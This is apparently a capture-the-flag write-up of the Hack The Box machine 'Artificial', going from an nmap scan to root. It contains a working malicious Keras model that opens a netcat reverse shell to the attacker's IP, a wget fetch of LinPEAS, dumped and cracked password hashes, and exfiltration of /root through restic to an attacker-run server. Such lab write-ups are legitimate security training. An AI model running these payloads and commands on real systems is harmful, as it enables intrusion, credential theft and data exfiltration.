Nmap
# Nmap 7.94SVN scan initiated Fri Sep 19 12:00:34 2025 as: nmap -sC -sV -oA initial.txt artificial.htb
Nmap scan report for artificial.htb (10.129.232.51)
Host is up (0.10s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| 256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_ 256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Artificial - AI Solutions
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add host entry
sudo nano /etc/hosts
# add:
10.129.232.51 artificial.htb
Initial Foothold (TensorFlow RCE)
The dashboard after login allowed model uploads and provided a Dockerfile/requirements. These showed TensorFlow 2.13.1 on Python 3.8. A PoC was available: https://github.com/Splinter0/tensorflow-rce
Build the payload inside the container (to avoid TensorFlow version mismatches):
import tensorflow as tf
def exploit(x):
import os
os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.213 4444 >/tmp/f")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
Upload exploit.h5 to dashboard.
Start listener on your attacker machine:
nc -lvnp 4444
Click View Predictions → got reverse shell as app.
Enumeration
Upgrade shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Host HTTP server for LinPEAS:
# Attacker
python3 -m http.server 8000
# Target
cd /tmp
wget http://10.10.14.213:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Discovered SQLite DB:
/home/app/app/instance/users.db
SQLite Dump
sqlite3 /home/app/app/instance/users.db
sqlite> .tables
model user
sqlite> SELECT id, username, email, password FROM user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|test|test@example.com|0192023a7bbd73250516f069df18b500
Cracked with hashcat:
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
Result (example):
gael : mattp005numbertwo
SSH as Gael:
ssh gael@artificial.htb
# Password: mattp005numbertwo
cat user.txt → user flag: 69f59b...
Privilege Escalation (Backrest)
Backrest service found at /opt/backrest. Config contained bcrypt hash:
"users": [
{
"name": "backrest_root",
"passwordBcrypt": "$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/..."
}
]
Cracked with:
hashcat -m 3200 bcrypt.hash /usr/share/wordlists/rockyou.txt
Result:
backrest_root : !@#$%^
Pivot into Backrest
Port-forward from attacker to target:
ssh -L 9898:127.0.0.1:9898 gael@artificial.htb
Browse http://localhost:9898 → login as backrest_root : !@#$%^.
Abusing Backrest + Restic
Run local rest-server (attacker):
# requires Go; installs rest-server binary to $GOPATH/bin
go install github.com/restic/rest-server/cmd/rest-server@latest
export PATH=$PATH:$(go env GOPATH)/bin
rest-server --path /tmp/restic-data --listen :12345 --no-auth
On target, point restic to attacker (example):
restic -r rest:http://10.10.14.213:12345/repo1 init
restic -r rest:http://10.10.14.213:12345/repo1 backup /root
On attacker, dump snapshot:
ls /tmp/restic-data/repo1/snapshots
restic -r /tmp/restic-data/repo1 restore <snapshot-id> --target ./restore
cat ./restore/root/root.txt
Root flag: bfc9a8...
Summary
- TensorFlow model upload → crafted malicious
.h5→ shell asapp. - SQLite
users.db→ cracked Gael’s MD5 → SSH asgael. - Found Backrest config → cracked bcrypt hash → admin login.
- Abused Backrest with restic → backed up
/root→ root flag.